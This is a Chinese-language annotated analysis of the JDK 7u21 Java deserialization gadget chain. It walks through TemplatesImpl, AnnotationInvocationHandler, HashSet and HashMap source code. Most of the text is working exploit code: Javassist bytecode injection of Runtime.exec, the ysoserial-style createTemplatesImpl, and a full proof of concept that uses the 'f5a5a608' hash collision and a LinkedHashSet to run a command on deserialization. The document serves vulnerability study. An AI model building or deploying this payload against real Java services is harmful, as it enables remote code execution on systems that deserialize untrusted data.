JDK反序列化Gadgets-7u21

private Translet getTransletInstance()
       throws TransformerConfigurationException {        try {            //限制条件1：TemplatesImpl类中的_name变量！=null
           if (_name == null) return null;           //限制条件2：TemplatesImpl类中的_class变量==null
           if (_class == null) defineTransletClasses();//进入此处，查看其他限制条件

           // 漏洞触发代码就是下面这一行，_transletIndex是在defineTransletClasses()中赋值的，其实就是选取了一个特定条件的class获取它的实例。
           AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
           ...//这里之后的代码不重要，省略

           return translet;
       }        catch (InstantiationException e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);            throw new TransformerConfigurationException(err.toString());
       }        catch (IllegalAccessException e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);            throw new TransformerConfigurationException(err.toString());
       }
   }

private void defineTransletClasses()
       throws TransformerConfigurationException {        //限制条件3：TemplatesImpl类中的_bytecodes变量！=null
       if (_bytecodes == null) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);            throw new TransformerConfigurationException(err.toString());
       }        //引入加载器
       TransletClassLoader loader = (TransletClassLoader)
           AccessController.doPrivileged(new PrivilegedAction() {                public Object run() {                    return new
        //限制条件4：TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
       //           即需要是一个TransformerFactoryImpl类
  TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
               }
           });        try {            //以下主要做的事情是通过加载器从_bytecodes中加载类至_class。（bytecodes可以是一个数组转换为一个数组class）
           final int classCount = _bytecodes.length;
           _class = new Class[classCount];            if (classCount > 1) {
               _auxClasses = new Hashtable();
           }            for (int i = 0; i < classCount; i++) {                //转化。ClassLoader.defineClass() 会转载javabyte变为class类，但是不会执行static代码。
               _class[i] = loader.defineClass(_bytecodes[i]);                //获取转过来的class的父类
               final Class superClass = _class[i].getSuperclass(); // 对于读取进来的class的父类进行限制，满足条件才改变_transletIndex的值
// 之后将获取class[_transletIndex]的实例
// ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 限制条件5：_bytecodes的类必须是ABSTRACT_TRANSLET的子类
               if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                   _transletIndex = i;
               }                else {
                   _auxClasses.put(_class[i].getName(), _class[i]);
               }
           }            if (_transletIndex < 0) {
               ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                throw new TransformerConfigurationException(err.toString());
           }
       }        catch (ClassFormatError e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);            throw new TransformerConfigurationException(err.toString());
       }        catch (LinkageError e) {
           ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);            throw new TransformerConfigurationException(err.toString());
       }
   }

   public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {        final TemplatesImpl templates = new TemplatesImpl();        // 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
       // 满足条件5：恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
       ClassPool pool = ClassPool.getDefault();//Javassist包中建立一个容器
       //添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
       pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));        //从Classpath中寻找自定义的恶意模板类StubTransletPayload，引入它，之后对它进行修改
       final CtClass clazz = pool.get(StubTransletPayload.class.getName());        // 2.在自定义恶意类中添加静态模块，一句Rumtime.exec，命令从外部引入
       // 满足条件6：需要执行的恶意代码写在类的静态方法或构造方法中。
       clazz.makeClassInitializer()
               .insertAfter("java.lang.Runtime.getRuntime().exec(""
                       + command.replaceAll(""", "\"")
                       + "");");        // 3.设置一个唯一性的class名称
       clazz.setName("ysoserial.Pwner" + System.nanoTime());       // 4. 把我们的自定义的恶意类转化成byte数组模式
       final byte[] classBytes = clazz.toBytecode();        // 4. 添加byte数组classBytes至_bytecodes字段，再添加一个另外准备的Foo类的字节（目前来看是多余的）
       // 满足条件3：TemplatesImpl类的 `_bytecodes` 变量 != null
       Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
               classBytes,
               ClassFiles.classAsBytes(Foo.class)});        // 5. 满足条件1：TemplatesImpl类的 `_name` 变量 != null
       Reflections.setFieldValue(templates, "_name", "Pwnr");        // 6. 满足条件4：使TemplatesImpl类的_tfactory是一个拥有getExternalExtensionsMap()方法的类
       Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        // 没有设置_class，满足条件2：TemplatesImpl类的`_class`变量 == null
       return templates;
   }

public class jdk7u21_mine {    //从lala这个类中提取我们命令执行的字节码
   public static class lala{

   }    //步骤一 TemplatesImpl类
   public static void main(String[] args) throws Exception {
       ClassPool pool = ClassPool.getDefault();
       CtClass cc = pool.get(lala.class.getName());
       String cmd = "java.lang.Runtime.getRuntime().exec("calc");";        //之前说的静态方法和构造方法均可，这边试一下构造方法
       //cc.makeClassInitializer().insertBefore(cmd);
       //这样可以直接添加构造函数
       CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
       cons.setBody("{"+cmd+"}");
       cc.addConstructor(cons);        //设置不重复的类名
       String randomClassName = "LaLa"+System.nanoTime();
       cc.setName(randomClassName);        //设置满足条件的父类
       cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));        //获取字节码
       byte[] lalaByteCodes = cc.toBytecode();        byte[][] targetByteCodes = new byte[][]{lalaByteCodes};
       TemplatesImpl templates = TemplatesImpl.class.newInstance();
       Reflections.setFieldValue(templates,"_bytecodes",targetByteCodes);
       Reflections.setFieldValue(templates,"_name","lala"+System.nanoTime());
       Reflections.setFieldValue(templates,"_class",null);
       Reflections.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

       templates.getOutputProperties();        //一样可以触发//        templates.newTransformer();
   }

import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;// 需要实现的接口（拦截动作是基于接口的，所以需要设定接口）interface ISubject {    public void hello(String str);
}// 实际的需要被代理的对象class SubjectImpl implements ISubject {    public void hello(String str) {
       System.out.println("SubjectImpl.hello(): " + str);
   }
}// Handler对象（继承InvocationHandler的拦截器）//InvocationHandler是一个用于跟Proxy类对接的接口class Handler implements InvocationHandler {    private Object subject;    //构造函数，传入被代理实现类的实例
   public Handler(Object subject) {        this.subject = subject;
   }//所有被Proxy拦截的函数都会经过这个接口的invoke函数
   public Object invoke(Object object, Method method, Object[] args) throws Throwable {
       System.out.println("before!");        //完成拦截操作之后去调用被代理实现类，反射机制，传入实例，参数
       method.invoke(this.subject, args);
       System.out.println("after!");        return null;
   }
}public class DynamicProxy {    public static void main(String[] args) {        //被代理类
       SubjectImpl subject = new SubjectImpl();        //拦截器实现类，通过构造函数传入被代理类的实例
       InvocationHandler tempHandler = new Handler(subject);// 使用Proxy.newProxyInstance创建代理
       ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
       iSubject.hello("world!");
   }
}

//var1 a.b(c)的cprivate Boolean equalsImpl(Object var1) {        // var1 若为AnnotationInvocationHandler类，就相等
       if (var1 == this) {            return true;        // var1 应该为this.type的实例 （此处为一个要求）
       // 此处意思应该是只能比较this.type中规定好的类是否完全一致
       } else if (!this.type.isInstance(var1)) {            return false;
       } else {            //如果是this.type（可控）中的类的实例的话
           //就要开始获取this.type这个类中的所有方法
           Method[] var2 = this.getMemberMethods();            int var3 = var2.length;           //去对应着遍历调用c对象中的Methods方法
           //把结果与在构造函数中定义的this.memberValues做对比，若一样则判定相等
           for(int var4 = 0; var4 < var3; ++var4) {
               Method var5 = var2[var4];//遍历获取方法
               String var6 = var5.getName();//获取方法名字
               Object var7 = this.memberValues.get(var6);//获取我们控制的menberValues中的值
               Object var8 = null;                //看看var1是不是也是一个代理类，如果是获取它的代理实现类（这里没用）
               AnnotationInvocationHandler var9 = this.asOneOfUs(var1);                if (var9 != null) {
                   var8 = var9.memberValues.get(var6);
               } else {                    //不是代理类，进入此处
                   try {
                       var8 = var5.invoke(var1);//反射调用！！！！
                       //这里的意思就是 var1.var5()
                       //根据this.type类型遍历所有方法，调用传入参数var1中的所有对应方法。
                       } catch (InvocationTargetException var11) {                        return false;
                   } catch (IllegalAccessException var12) {                        throw new AssertionError(var12);
                   }
               }                //该函数原本的功能 需要比较下调用返回结果与预设值一样不。
               if (!memberValueEquals(var7, var8)) {                    return false;
               }
           }

   public static void main(String[] args) throws Exception {       //AnnotationInvocationHandler构造函数的this.memberValues
       Map map = new HashMap();        //获取AnnotationInvocationHandler构造函数
       final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        //由于是缺省修饰符，不同的包，不能直接调用。允许调用
       ctor.setAccessible(true);        //创建AnnotationInvocationHandler实例，this.type=Templates.class
       InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);        //Override是一个啥都没有的接口，这里用这个类，表示其实绑定啥都没关系
       //在高版本的jdk中，在构造函数中对于type做了校验，如果要在高版本中构造payload，需要使用反射机制构筑。如果对方也是高版本的jdk（即经过了修复）那么我们构筑的InvocationHandler类也是因为构造方法通过不了而无法利用。具体我们在后面修复情况中说到。
       //InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,map);
        //Reflections.setFieldValue(tempHandler, "type", Templates.class);
       //有些地方POC写的是Templates.class类，其实没必要
       Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);        //恶意类
       final Object templates = Gadgets.createTemplatesImpl("calc");        //调用，执行`TemplatesImpl.newTransformer()`
       proxy.equals(templates);
   }

//我们构造payload，最终调用writeObject private void writeObject(java.io.ObjectOutputStream s)
       throws java.io.IOException {        // 序列化任何隐藏的序列化魔术（不懂什么骚操作）
       s.defaultWriteObject();        // 序列化map的容量与加载器
       s.writeInt(map.capacity());
       s.writeFloat(map.loadFactor());        // 序列化map的大小
       s.writeInt(map.size());        // 遍历序列化每一个map中的元素
       for (E e : map.keySet())
           s.writeObject(e);
   }//在服务端触发payload，最先触发的函数。
private void readObject(java.io.ObjectInputStream s)
       throws java.io.IOException, ClassNotFoundException {        // 反序列化任何隐藏的序列化魔术（不懂什么骚操作）
       s.defaultReadObject();        // 反序列化HashMap容量和加载器并创建备份HashMap
       int capacity = s.readInt();        float loadFactor = s.readFloat();
       map = (((HashSet)this) instanceof LinkedHashSet ?               new LinkedHashMap<E,Object>(capacity, loadFactor) :               new HashMap<E,Object>(capacity, loadFactor));        // 反序列化map的大小
       int size = s.readInt();        // 遍历反序列化每一个map的元素，并把他们加入到map中
       for (int i=0; i<size; i++) {
           E e = (E) s.readObject();//获取我们每一个map元素
           map.put(e, PRESENT);//重新放入map中，我们进入此处,就是出在这里。
           //e为我们map的元素，present是一个常量，就是一个新的object对象
       }
   }

//这个key，就是我们传入的元素，value是一个固定值木有用。public V put(K key, V value) {        //key不能为null
       if (key == null)            return putForNullKey(value);        //计算key的hash值
       int hash = hash(key) ;        int i = indexFor(hash, table.length);        // 遍历已有的元素
       for (Entry<K,V> e = table[i]; e != null; e = e.next) {
           Object k;            //本意是判断最新的元素是否已经存在的元素
           if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {                //如果是已经存在的元素，就返回已经存在的value。不插入。
               V oldValue = e.value;
               e.value = value;
               e.recordAccess(this);                return oldValue;
           }
       }

       modCount++;        //如果不是已经存在的元素，就插入到table中
       addEntry(hash, key, value, i);        return null;
   }

final int hash(Object k) {        int h = 0;        if (useAltHashing) {            if (k instanceof String) {                return sun.misc.Hashing.stringHash32((String) k);
           }
           h = hashSeed;
       }

       h ^= k.hashCode();//惊为天人的调用了我们传入的对象k的hashCode函数，也就是说我们有可能可以对于hash值进行一定的操控
       //接下来又是一些骚操作
       // This function ensures that hashCodes that differ only by
       // constant multiples at each bit position have a bounded
       // number of collisions (approximately 8 at default load factor).
       h ^= (h >>> 20) ^ (h >>> 12);        return h ^ (h >>> 7) ^ (h >>> 4);
   }

private int hashCodeImpl() {        int var1 = 0;

       Entry var3;         //this.memberValues是我们构造AnnotationInvocationHandler时，可控的那个map
       Iterator var2 = this.memberValues.entrySet().iterator();//获取遍历器
       for( ;var2.hasNext(); ) {
           var3 = (Entry)var2.next();
           String key = var3.getKey();//（可控map的键）
           Object value = var3.getValue()；//（可控map的值）
           var1 += 127 *
               key.hashCode() ^     //可控map的键 的 hashCode                
               memberValueHashCode(value); //可控map的值的 hashCode
       }        return var1;
   }

   public static void main(String[] args) throws Exception {        //生成恶意的templates类
       Templates templates = Gadgets.createTemplatesImpl("calc");        //AnnotationInvocationHandler类this.memberValues的map,填入键值对来满足hash相等
       Map map = new HashMap();
       String magicStr = "f5a5a608";        //String magicStr_null = "";//也可
       //此处需要的先往map中放入一个没用的值，之后说明
       map.put(magicStr,"Override");        //生成proxy对象
       final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
       ctor.setAccessible(true);
       InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);//this.type,this.memberValues
       Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);        //生成LinkedHashSet，按照顺序一次放入templates和proxy
       HashSet set = new LinkedHashSet(); // 填入
       set.add(templates);
       set.add(proxy);        //重新修改map的值
       map.put(magicStr,templates);

       ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        //序列化
       ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
       objectOutputStream.writeObject(set);//序列化对象
       objectOutputStream.flush();
       objectOutputStream.close();        //反序列化
       byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
       ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
       ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
       Object o = objectInputStream.readObject();
   }